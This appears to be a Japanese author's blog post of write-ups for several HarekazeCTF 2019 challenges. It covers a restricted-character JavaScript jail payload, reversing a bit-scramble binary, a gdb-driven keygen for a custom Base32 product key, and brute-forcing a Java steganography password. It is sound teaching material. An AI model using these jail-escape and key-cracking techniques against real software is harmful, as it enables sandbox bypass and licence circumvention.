const vm = require('vm');
const app = express();
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');
app.use(express.static(path.join(__dirname, 'public')));
app.get('/', function (req, res, next) {
  let output = '';
  const code = req.query.code + '';
  if (code && code.length < 200 && !/[^a-z().]/.test(code)) {
    try {
      const result = vm.runInNewContext(code, {}, { timeout: 500 });
      if (result === 1337) {
        output = process.env.FLAG;
      } else {
        output = 'nope';
      }
    } catch (e) {
      output = 'nope';
    }
  } else {
    output = 'nope';
  }
  res.render('index', { title: '[a-z().]', output });
});
app.get('/source', function (req, res) {
  res.sendFile(path.join(__dirname, 'app.js'));
});
module.exports = app;
a から z と ( ) . の 3 文字だけを使って、200 文字以内で 1337 という数値を作れという問題です。
1、3、7 の 3 つの数値をどうにかして手に入れ、最初の文字を文字列に変換し、String.prototype.concat でそれらを結合して 1337 という文字列を作成、そしてそれを eval に投げて数値に変換する方向で解いてみましょう。
まずは String と Number の 2 つの関数を作ってみましょう。適当な文字列は typeof(this) で作れ、この constructor プロパティに String が入っています。また、適当な数値も (typeof(this)).length で作れ、この constructor プロパティに Number が入っています。
3 つの数値を作っていきましょう。
1 は Number(true) === 1 が true になることを利用して Number(true) に相当するコードで作れます。3 は String.prototype.big の name プロパティ (= 'big') の length を参照することで作れます。7 は true.constructor (= Boolean) の name プロパティ (= 'Boolean') の length を参照することで作れます。
最終的に以下のようなコードでフラグが得られます。
eval((typeof(this)).constructor((typeof(this)).length.constructor(true)).concat((typeof(this)).big.name.length).concat((typeof(this)).big.name.length).concat(true.constructor.name.length))
HarekazeCTF{sorry_about_last_year's_js_challenge...}
正答チーム数は 36 チームでした。
昨年出題したものの実装の不備によって公開後に取り下げてしまった、[$0-z{}]|[^\\] という () 等の記号が使えない状態で関数を任意の引数で呼び出す jsjail 問 (?) のソースコードを流用した問題です。別の問題として元々 JSONP を題材にしたものを作ろうとしていたのですが、面白い問題を作れる気がせず、結局使える文字種をアルファベット + α のみに制限するという要素だけを持ってきて組み合わせたような感じです。
添付ファイル:
添付ファイルがどのようなファイルか確認しましょう。
$ file scramble
scramble: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=dd3474e9169df7fc3a523390296856f9a2f07ca5, not stripped
x86_64 の ELF のようです。Ghidra を使ってデコンパイルしてみましょう。
まず main 関数です。読みやすくするため、一部変数名のリネーム等を行っています。
int main(int argc,char **argv)
{
  long lVar1;
  long in_FS_OFFSET;
  char local_38 [39];
  
  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  __printf_chk(1,"Input : ");
  __isoc99_scanf("%38s",local_38);
  scramble(local_38);
  if (((((local_38._8_8_ ^ encrypted[0]._8_8_ | local_38._0_8_ ^ encrypted[0]._0_8_) == 0) &&
       ((local_38._24_8_ ^ encrypted[0]._24_8_ | local_38._16_8_ ^ encrypted[0]._16_8_) == 0)) &&
      (local_38._32_4_ == encrypted[0]._32_4_)) && (local_38._36_2_ == encrypted[0]._36_2_)) {
    puts("Correct!");
  }
  else {
    puts("Nope.");
  }
  if (lVar1 == *(long *)(in_FS_OFFSET + 0x28)) {
    return 0;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}
ユーザが入力した文字列を scramble 関数で処理し、その結果と encrypted というバイナリに埋め込まれているバイト列を比較して、もし一致していれば Correct! と表示しています。scramble 関数を確認しましょう。
void scramble(char *arg)
{
  byte bVar1;
  int iVar2;
  byte bVar3;
  byte bVar4;
  int iVar5;
  uint uVar6;
  int *table;
  uint uVar8;
  uint uVar9;
  
  table = (int *)(encrypted + 0x40);
  uVar6 = 0;
  do {
    iVar2 = *table;
    bVar1 = arg[(long)(int)(uVar6 / 7)];
    bVar3 = (char)uVar6 + (char)(uVar6 / 7) * -7;
    iVar5 = iVar2 / 7 + (iVar2 >> 0x1f);
    bVar4 = (char)iVar2 + ((char)iVar5 - (char)(iVar2 >> 0x1f)) * -7;
    uVar8 = 1 << (bVar3 & 0x1f);
    uVar9 = 1 << (bVar4 & 0x1f);
    arg[(long)(int)(uVar6 / 7)] =
         (byte)(((int)((uint)(byte)arg[(long)(iVar5 - (iVar2 >> 0x1f))] & uVar9) >> (bVar4 &0x1f))
               << (bVar3 & 0x1f)) | ~(byte)uVar8 & bVar1;
    arg[(long)(*table / 7)] = arg[(long)(*table / 7)] & ~(byte)uVar9;
    iVar2 = *table;
    uVar6 = uVar6 + 1;
    table = table + 1;
    arg[(long)(iVar2 / 7)] =
         arg[(long)(iVar2 / 7)] |
         (byte)(((int)((uint)bVar1 & uVar8) >> (bVar3 & 0x1f)) << (bVar4 & 0x1f));
  } while (uVar6 != 0x10a);
  return;
}
ビット演算が多用されており、読むのがちょっと面倒です。頑張って読むと、大まかには以下のような処理をしていることがわかります。
table = (int *)(encrypted + 0x40) でシャッフルに使うテーブルを取得arg[i] の i % 7 ビット目と arg[table[i]] の table[i] % 7 ビット目を交換Python で逆の処理をしてみましょう。
import re
import struct
with open('scramble', 'rb') as f:
  s = f.read()
encrypted = list(''.join(bin(c)[2:].zfill(7)[::-1] for c in s[0x1020:0x1046]))
table = struct.unpack('<' + 'I' * 266, s[0x1060:0x1488])
for i, j in zip(range(len(table) - 1, -1, -1), table[::-1]):
  encrypted[i], encrypted[j] = encrypted[j], encrypted[i]
plaintext = ''.join(encrypted)
print(''.join(chr(int(c[::-1], 2)) for c in re.findall(r'.{7}', plaintext)))
$ python solver.py
HarekazeCTF{3nj0y_h4r3k4z3_c7f_2019!!}
フラグが得られました。
正答チーム数は 68 チームでした。
この問題はもともと Reversing のウォームアップとして作成した問題で、フラグもそれを意識してウェルカムとか言っています。この writeup では静的解析でなんとかしていますが、angr を使えば数行のコードであっという間に解けるようです。
I forgot admin’s product key…
添付ファイル:
添付ファイルがどのようなファイルか確認しましょう。
$ file product_key
product_key: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=79383563e20684c73f998ae5448a03955cf5d4a2, not stripped
x86_64 の ELF のようです。Ghidra を使ってデコンパイルしてみましょう。
まず main 関数です。読みやすくするため、一部変数名のリネーム等を行っています。
int main(int argc,char *argv)
{
  char cVar1;
  long lVar2;
  int hash;
  int res;
  size_t len;
  char *__s;
  uint uVar3;
  long lVar4;
  char *pcVar5;
  long in_FS_OFFSET;
  byte bVar6;
  char decoded_bytes [32];
  char product_key [33];
  
  bVar6 = 0;
  lVar2 = *(long *)(in_FS_OFFSET + 0x28);
  product_key[32] = 0;
  product_key._0_4_ = 0;
  product_key._4_4_ = 0;
  product_key._8_4_ = 0;
  product_key._12_4_ = 0;
  product_key._16_4_ = 0;
  product_key._20_4_ = 0;
  product_key._24_4_ = 0;
  product_key._28_4_ = 0;
  decoded_bytes._0_4_ = 0;
  decoded_bytes._4_4_ = 0;
  decoded_bytes._8_4_ = 0;
  decoded_bytes._12_4_ = 0;
  decoded_bytes._16_4_ = 0;
  decoded_bytes._20_4_ = 0;
  decoded_bytes._24_4_ = 0;
  decoded_bytes._28_4_ = 0;
  if (argc < 2) {
    res = 1;
    __fprintf_chk(stderr,1,"Usage: %s <product key>\n",*(undefined8 *)argv);
  }
  else {
    __s = *(char **)(argv + 8);
    len = strlen(__s);
    if (len == 0x27) {
      __s = strtok(__s,"-");
      pcVar5 = table;
      while (__s != (char *)0x0) {
        table = pcVar5;
        __strncat_chk(product_key,__s,4);
        __s = strtok((char *)0x0,"-");
        pcVar5 = table;
      }
      lVar4 = -1;
      __s = pcVar5;
      do {
        uVar3 = (uint)lVar4;
        if (lVar4 == 0) break;
        lVar4 = lVar4 + -1;
        uVar3 = (uint)lVar4;
        cVar1 = *__s;
        __s = __s + (ulong)bVar6 * -2 + 1;
      } while (cVar1 != 0);
      table = pcVar5;
      if (0 < (int)(~uVar3 - 1)) {
        lVar4 = 0;
        table = pcVar5;
        do {
          inv_table[(long)pcVar5[lVar4]] = (char)lVar4;
          lVar4 = lVar4 + 1;
        } while ((ulong)(~uVar3 - 2) + 1 != lVar4);
      }
      decode(product_key,decoded_bytes);
      hash = 0;
      __s = decoded_bytes;
      do {
        pcVar5 = __s + 1;
        hash = (int)*__s + hash * 0x1f;
        __s = pcVar5;
      } while (decoded_bytes + 0x10 != pcVar5);
      if (decoded_bytes._16_4_ == hash) {
        __printf_chk(1,"Hello, %.16s!\n",decoded_bytes);
        res = strncmp(decoded_bytes,"i-am-misakiakeno",0x10);
        if (res == 0) {
          __printf_chk(1,"You are admin! The flag is: HarekazeCTF{%s}\n",product_key);
        }
        else {
          res = 0;
          puts("You are not admin.");
        }
        goto LAB_0010089f;
      }
    }
    res = 1;
    fwrite("invalid product key\n",1,0x14,stderr);
  }
LAB_0010089f:
  if (lVar2 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return res;
}
長いですね。少しずつ読んでいきましょう。
  if (argc < 2) {
    res = 1;
    __fprintf_chk(stderr,1,"Usage: %s <product key>\n",*(undefined8 *)argv);
  }
コマンドライン引数としてプロダクトキーを取るようです。
  else {
    __s = *(char **)(argv + 8);
    len = strlen(__s);
    if (len == 0x27) {
      ︙
    }
  }
プロダクトキー (argv[1]) は 39 文字のようです。if 文の中を見ていきます。
      __s = strtok(__s,"-");
      pcVar5 = table;
      while (__s != (char *)0x0) {
        table = pcVar5;
        __strncat_chk(product_key,__s,4);
        __s = strtok((char *)0x0,"-");
        pcVar5 = table;
      }
プロダクトキーをハイフンで区切り、結合しています。__strncat_chk(product_key,__s,4); とハイフンで区切られた文字列はそれぞれ 4 文字のようです。先ほどの文字数チェックと組み合わせて、プロダクトキーは AAAA-AAAA-AAAA-AAAA-AAAA-AAAA-AAAA-AAAA というようなフォーマットになることが推測できます。
      lVar4 = -1;
      __s = pcVar5;
      do {
        uVar3 = (uint)lVar4;
        if (lVar4 == 0) break;
        lVar4 = lVar4 + -1;
        uVar3 = (uint)lVar4;
        cVar1 = *__s;
        __s = __s + (ulong)bVar6 * -2 + 1;
      } while (cVar1 != 0);
      table = pcVar5;
      if (0 < (int)(~uVar3 - 1)) {
        lVar4 = 0;
        table = pcVar5;
        do {
          inv_table[(long)pcVar5[lVar4]] = (char)lVar4;
          lVar4 = lVar4 + 1;
        } while ((ulong)(~uVar3 - 2) + 1 != lVar4);
      }
よくわからないですが、table という配列 (Y9ND6U0RXCPIOHQL418G7KAVJ3FW5BZT) をもとに inv_table という別の配列の初期化をしているようです。
      decode(product_key,decoded_bytes);
ハイフンが削除されたプロダクトキーを decode 関数でデコードし、その結果を decoded_bytes に保存しています。decode 関数については後ほど詳しく見ていきます。
      hash = 0;
      __s = decoded_bytes;
      do {
        pcVar5 = __s + 1;
        hash = (int)*__s + hash * 0x1f;
        __s = pcVar5;
      } while (decoded_bytes + 0x10 != pcVar5);
デコードされた結果のバイト列の先頭 16 バイトを使って 32 ビットのチェックサムを計算しています。
      if (decoded_bytes._16_4_ == hash) {
        __printf_chk(1,"Hello, %.16s!\n",decoded_bytes);
        res = strncmp(decoded_bytes,"i-am-misakiakeno",0x10);
        if (res == 0) {
          __printf_chk(1,"You are admin! The flag is: HarekazeCTF{%s}\n",product_key);
        }
        else {
          res = 0;
          puts("You are not admin.");
        }
        goto LAB_0010089f;
      }
そのチェックサムがデコードされた結果のバイト列の 17 ~ 20 バイト目と等しい場合に、プロダクトキーが正しいものと判定され、Hello, (ユーザ名)! と出力するようです。
また、デコードされた結果のバイト列の先頭 16 バイトが i-am-misakiakeno と等しい場合にフラグが表示されるようです。
では、decode 関数を見ていきましょう。
void decode(char *input,char *output)
{
  char cVar1;
  byte bVar2;
  uint uVar3;
  size_t len;
  ulong i;
  int iVar4;
  char *pcVar5;
  ulong uVar6;
  int iVar7;
  int len_;
  
  len = strlen(input);
  len_ = (int)len;
  iVar4 = len_ * 5;
  iVar7 = iVar4 + 7;
  if (-1 < iVar4) {
    iVar7 = iVar4;
  }
  iVar7 = iVar7 >> 3;
  if (0 < len_) {
    pcVar5 = input;
    do {
      if (*pcVar5 == padding) {
        *pcVar5 = *table;
      }
      pcVar5 = pcVar5 + 1;
    } while (pcVar5 != input + (ulong)(len_ - 1) + 1);
  }
  if (0 < iVar7) {
    i = 0;
    uVar6 = (ulong)(iVar7 - 1) + 1;
LAB_00100c0b:
    do {
      cVar1 = inv_table[(long)*input];
      bVar2 = inv_table[(long)input[1]];
      uVar3 = (uint)((i & 0xffffffff) * 0xcccccccd >> 0x20);
      iVar4 = (int)i - ((uVar3 >> 2) + (uVar3 & 0xfffffffc));
      if (iVar4 == 2) {
        input = input + 1;
        output[i] = bVar2 >> 1 | cVar1 << 4;
      }
      else {
        if (iVar4 < 3) {
          if (iVar4 == 1) {
            pcVar5 = input + 2;
            input = input + 2;
            output[i] = bVar2 * 2 | cVar1 << 6 | (byte)inv_table[(long)*pcVar5] >> 4;
            i = i + 1;
            if (i == uVar6) break;
            goto LAB_00100c0b;
          }
LAB_00100c90:
          input = input + 1;
          output[i] = bVar2 >> 2 | cVar1 << 3;
        }
        else {
          if (iVar4 == 3) {
            pcVar5 = input + 2;
            input = input + 2;
            output[i] = bVar2 << 2 | cVar1 << 7 | (byte)inv_table[(long)*pcVar5] >> 3;
          }
          else {
            if (iVar4 != 4) goto LAB_00100c90;
            input = input + 2;
            output[i] = bVar2 | cVar1 << 5;
          }
        }
      }
      i = i + 1;
    } while (i != uVar6);
  }
  output[(long)iVar7] = 0;
  return;
}
また長くて読むのがめんどくさい関数です。第 1 引数として与えられたプロダクトキーを 1 文字ずつ処理し、第 2 引数として与えられたアドレスにデコードした結果を書き込んでいます。
プロダクトキーの 1 文字は 5 ビットを表しており、例えば Y は 00000 に、9 は 00001 に…といったようにデコードされます。このときの 5 ビットは、table の何文字目にその文字があるかによって決まっています。
以下のスクリプトはプロダクトキーを 1 文字ずつ総当たりして求めるものです。decode 関数を呼んだ直後にブレークポイントを置き、デコードされたバイト列の i ビット目から 5 ビット分を i-am-misakiakeno とそのチェックサムを結合したバイト列の対応する部分と比較しています。もし等しければ、プロダクトキーの次の文字を同様に求めます。
import gdb
import re
import struct
def hash(s, n):
  res = 0
  for i in range(n):
    res = (res << 5) - res + ord(s[i])
  return res & 0xffffffff
def str_to_bin(s):
  return ''.join(bin(ord(c))[2:].zfill(8) for c in s)
def hyphenate(s, n):
  return '-'.join(re.findall(r'.{' + str(n) + r'}|.+', s))
def p32(x):
  return struct.pack('<I', x)
TABLE = 'Y9ND6U0RXCPIOHQL418G7KAVJ3FW5BZT'
USER = 'i-am-misakiakeno'
target = USER + p32(hash(USER, 16))
target = str_to_bin(target)
gdb.execute('set pagination off')
gdb.execute('b *(main + 0x127)', to_string=True) # after decode
key = ''
for i in range(0, len(target), 5):
  for c in TABLE:
    tmp = hyphenate((key + c).ljust(32, 'S'), 4)
    gdb.execute('r ' + tmp, to_string=True)
    res = gdb.execute('x/20bx $rsp', to_string=True)
    res = ''.join(re.findall(r'0x([0-9a-f]{2})[^0-9a-f]', res)).decode('hex')
    res = str_to_bin(res)
    if res[i:i+5] == target[i:i+5]:
      key += c
      break
  print '[+]', key
print '[+] Product Key:', hyphenate(key, 4)
print '[+] Flag: HarekazeCTF{' + key + '}'
gdb.execute('continue', to_string=True)
gdb.execute('quit')
実行してみましょう。
$ gdb -n -q -x solver.py ./product_key
[+] H
[+] H6
[+] H6A
︙
[+] H6AANWCHHK7V0JIIHU4AA3IQHBWTV5
[+] H6AANWCHHK7V0JIIHU4AA3IQHBWTV51
[+] H6AANWCHHK7V0JIIHU4AA3IQHBWTV514
[+] Product Key: H6AA-NWCH-HK7V-0JII-HU4A-A3IQ-HBWT-V514
[+] Flag: HarekazeCTF{H6AANWCHHK7V0JIIHU4AA3IQHBWTV514}
Hello, i-am-misakiakeno!
You are admin! The flag is: HarekazeCTF{H6AANWCHHK7V0JIIHU4AA3IQHBWTV514}
フラグが得られました。
HarekazeCTF{H6AANWCHHK7V0JIIHU4AA3IQHBWTV514}
正答チーム数は 8 チームでした。
デコードに使っているアルゴリズムはテーブルが ABCDEFGHIJKLMNOPQRSTUVWXYZ234567= ではなく Y9ND6U0RXCPIOHQL418G7KAVJ3FW5BZTS になっている Base32 です。これを利用すれば、以下のような簡単なスクリプトでプロダクトキーが得られます。
import base64
import re
import struct
def hash(s):
  result = 0
  for c in s:
    result *= 31
    result += c
  return result
user = b'i-am-misakiakeno'
code = base64.b32encode(user + struct.pack('<I', hash(user) & 0xffffffff)).decode()
code = code.translate(str.maketrans('ABCDEFGHIJKLMNOPQRSTUVWXYZ234567=', 'Y9ND6U0RXCPIOHQL418G7KAVJ3FW5BZTS'))
print('-'.join(re.findall(r'.{4}', code)))
フラグは正解のプロダクトキーからハイフンを取り除いて HarekazeCTF{ } で囲っただけのものですが、もうちょっと意味のある文字列が出るようにすればよかったなあと思っています。
Java でステガノグラフィーツールを作りました!
JAR ファイルが簡単にデコンパイルできることは知っていますが、パスワード保護システムがうまくファイルを守ってくれると信じています…。
I made a steganography tool with Java!
I know JAR files can easily be decompiled, but I believe the password protection works…
添付ファイル:
添付ファイルの tsg.jar は JAR ファイルです。JAR ファイルは Java クラスファイルやリソースが入っているただの ZIP ファイルなので、まずは解析のため unzip -d tsg tsg.jar で展開しましょう。
$ unzip -d tsg tsg.jar
Archive:  tsg.jar
  inflating: tsg/META-INF/MANIFEST.MF
  inflating: tsg/TSG.class
  inflating: tsg/Embedder.class
TSG.class と Embedder.class という 2 つの Java クラスファイルが出力されました。CFR というツールを使うと、それぞれ以下のようにデコンパイルできました。
TSG.java
/*
 * Decompiled with CFR 0.140.
 */
import java.io.InputStream;
import java.io.PrintStream;
import java.util.Scanner;
public class TSG {
    public static void main(String[] args) {
        if (args.length < 3) {
            System.err.println("Usage: java -jar tsg.jar <image> <payload> <out>");
            System.exit(1);
        }
        String password = "";
        Scanner scanner = new Scanner(System.in);
        do {
            System.out.print("Please input the password (4 ~ 8 characters): ");
        } while ((password = scanner.nextLine()).length() < 4 || password.length() > 8);
        scanner.close();
        Embedder embedder = new Embedder(args[0]);
        embedder.embedFileWithPassword(args[1], password);
        embedder.save(args[2]);
    }
}
Embedder.java
/*
 * Decompiled with CFR 0.140.
 */
import java.awt.image.BufferedImage;
import java.awt.image.RenderedImage;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.IOException;
import java.io.PrintStream;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashSet;
import java.util.Random;
import javax.imageio.ImageIO;
public class Embedder {
    final byte[] MAGIC_NUMBER = new byte[]{127, 115, 116, 101, 103, 97, 110, 111};
    BufferedImage img;
    byte[] payload;
    public Embedder(String imagePath) {
        try {
            this.img = ImageIO.read(new File(imagePath));
        }
        catch (IOException e) {
            System.err.println("Unable to load " + imagePath);
            System.exit(1);
        }
    }
    public void embedFileWithPassword(String payloadPath, String password) {
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        try {
            bos.write(this.MAGIC_NUMBER);
            bos.write(Files.readAllBytes(Paths.get(payloadPath, new String[0])));
        }
        catch (IOException e) {
            System.err.println("Unable to load " + payloadPath);
            System.exit(1);
        }
        this.payload = bos.toByteArray();
        if (this.payload.length > this.img.getHeight() || this.img.getWidth() < 8) {
            System.err.println("Given image is too small");
            System.exit(1);
        }
        try {
            for (int i = 0; i < this.payload.length; ++i) {
                int seed = password.codePointAt(i % password.length());
                Random rnd = new Random(seed ^= i * i * password.codePointAt((i + password.length() - 1) % password.length()));
                HashSet<Integer> used = new HashSet<Integer>();
                for (int j = 0; j < 8; ++j) {
                    int x = rnd.nextInt(this.img.getWidth());
                    while (used.contains(x = (x + 1) % this.img.getWidth())) {
                    }
                    used.add(x);
                    int pixel = this.img.getRGB(x, i);
                    pixel &= -65537;
                    if ((this.payload[i] & 1 << j) != 0) {
                        pixel |= 65536;
                    }
                    this.img.setRGB(x, i, pixel);
                }
            }
        }
        catch (ArrayIndexOutOfBoundsException e) {
            System.err.println("Given image is too small");
            System.exit(1);
        }
    }
    public void save(String outPath) {
        try {
            ImageIO.write((RenderedImage)this.img, "png", new File(outPath));
        }
        catch (IOException e) {
            System.err.println("Unable to save to " + outPath);
            System.exit(1);
        }
        System.out.println("Success!");
    }
}
少し読むのが面倒ですが、まとめると以下のような挙動をしていることがわかります。
image (埋め込み先の画像)、payload (画像に埋め込むファイル)、out (ファイルを埋め込んだ画像の保存先) の 3 つのコマンドライン引数をとる\x7fstegano というバイト列と payload として与えられたファイルの内容を結合i % (パスワードの長さ) 文字目と (i - 1) % (パスワードの長さ) 文字目を元にシードを計算し、乱数生成器を初期化payload として与えられたファイルの内容の i バイト目を 1 ビットずつあるピクセル (rnd.nextInt(画像の幅), i) の赤色の LSB (最下位ビット) に埋め込むout に保存4 番目の工程について、詳しく確認します。
                int seed = password.codePointAt(i % password.length());
                Random rnd = new Random(seed ^= i * i * password.codePointAt((i + password.length() - 1) % password.length()));
先程はパスワードの (i - 1) % (パスワードの長さ) 文字目もシードの計算に用いられていると書きましたが、i * i * password.codePointAt((i + password.length() - 1) % password.length()) のように i がかけられているため、payload の内容の 1 バイト目を処理しているときにはこの部分が 0 となります。つまり、このときにはパスワードの 1 文字目がそのままシードとして用いられていることになります。
画像に埋め込まれるバイト列は必ず \x7fstegano から始まることを利用して、まず \x7f が抽出されるようなシードを 0 ~ 255 から探索するとパスワードの 1 文字目が推測できます。これを元に s が抽出されるようなシードを探索してパスワードの 2 文字目、t が抽出されるようなシードを探索して … といった手順でパスワードを求めることができます.
今回は Python で Pillow という画像処理ライブラリを使って、ありうるパスワードの列挙と、それらのパスワードを使ったファイルの抽出をしてみましょう。乱数生成器には java.lang.Random が用いられていますが、ドキュメントを参照するとどのようなアルゴリズムが用いられているかわかります。実装しましょう。
import binascii
import os
import os.path
import sys
from PIL import Image
MAGIC_NUMBER = (127, 115, 116, 101, 103, 97, 110, 111)
def random_generator(seed):
  state = (seed ^ 0x5deece66d) & ((1 << 48) - 1)
  while True:
    state = (0x5deece66d * state + 0xb) & ((1 << 48) - 1)
    yield state >> 17
def extract_byte(pix, seed, i):
  rng = random_generator(seed)
  used = set()
  t = 0
  for j in range(8):
    x = next(rng) % w
    while True:
      x = (x + 1) % w
      if x not in used:
        break
    used.add(x)
    r, g, b, a = pix[x, i]
    if r & 1:
      t |= 1 << j
  return t
passwords = []
def attempt(pix, password, prev=0):
  i = len(password)
  if i == 8:
    passwords.append(password)
    return
  for c in range(256):
    if extract_byte(pix, c ^ i * i * prev, i) == MAGIC_NUMBER[i]:
      attempt(pix, password + bytes([c]), c)
if __name__ == '__main__':
  if len(sys.argv) < 2:
    print('usage: python {} <stego file>'.format(sys.argv[0]))
    sys.exit(1)
  im = Image.open(sys.argv[1])
  w, h = im.size
  pix = im.load()
  prev = 0
  # determine password
  attempt(pix, b'')
  print('passwords:', passwords)
  if not os.path.exists('result'):
    os.mkdir('result')
  # extract embedded file
  for password in passwords:
    result = b''
    for i in range(h):
      seed = password[i % len(password)]
      seed ^= i * i * password[(i + len(password) - 1) % len(password)]
      result += bytes([extract_byte(pix, seed, i)])
    with open('result/result-{}.bin'.format(binascii.hexlify(password).decode()), 'wb') as f:
      f.write(result[8:])
$ python solver.py out.png
passwords: [b'N3K\x197\x17V\x14', b'N3K\x197\x17V\xd4', b'N3K0n\x13\x89\x03', b'N3K0n\x13\xd9\x0c', b'N3K0n\x13\xd9\xe1', b'N3K0n\x13\xd9\xff', b'N3K0neko', b'N3K0ne\xa9\x8d', b'N3K0ne\xa9\xe0', b'u\x08TN\xe1eko', b'u\x08TN\xe1e\xa9\x8d', b'u\x08TN\xe1e\xa9\xe0']
N3K0neko というすべての文字が ASCII の範囲内にある文字列がパスワードの候補として出てきました。N3K0neko をパスワードとしたときに抽出できるファイルを確認してみましょう。
$ strings -n 8 result/result-4e334b306e656b6f.bin
HarekazeCTF{the_building_in_the_picture_is_nagoya_castle}:
フラグが得られました。
HarekazeCTF{the_building_in_the_picture_is_nagoya_castle}
正答チーム数は 10 チームでした。
5 月 4 日から 5 月 5 日にかけて開催された TSG CTF でありがたいことに Harekaze という名前の Steganography カテゴリの問題を出していただいたので (Harekaze は解けませんでしたが…)、TSG という名前の問題を作ろうと思ってできた問題です。
フラグにも書かれている通り、テキストが埋め込まれている写真は名古屋城です。この写真は以前私が撮ったもので、何かいい感じの写真がないかアルバムを眺めていて偶然目に入ったので採用しました。
st98.github.io / st98 の日記帳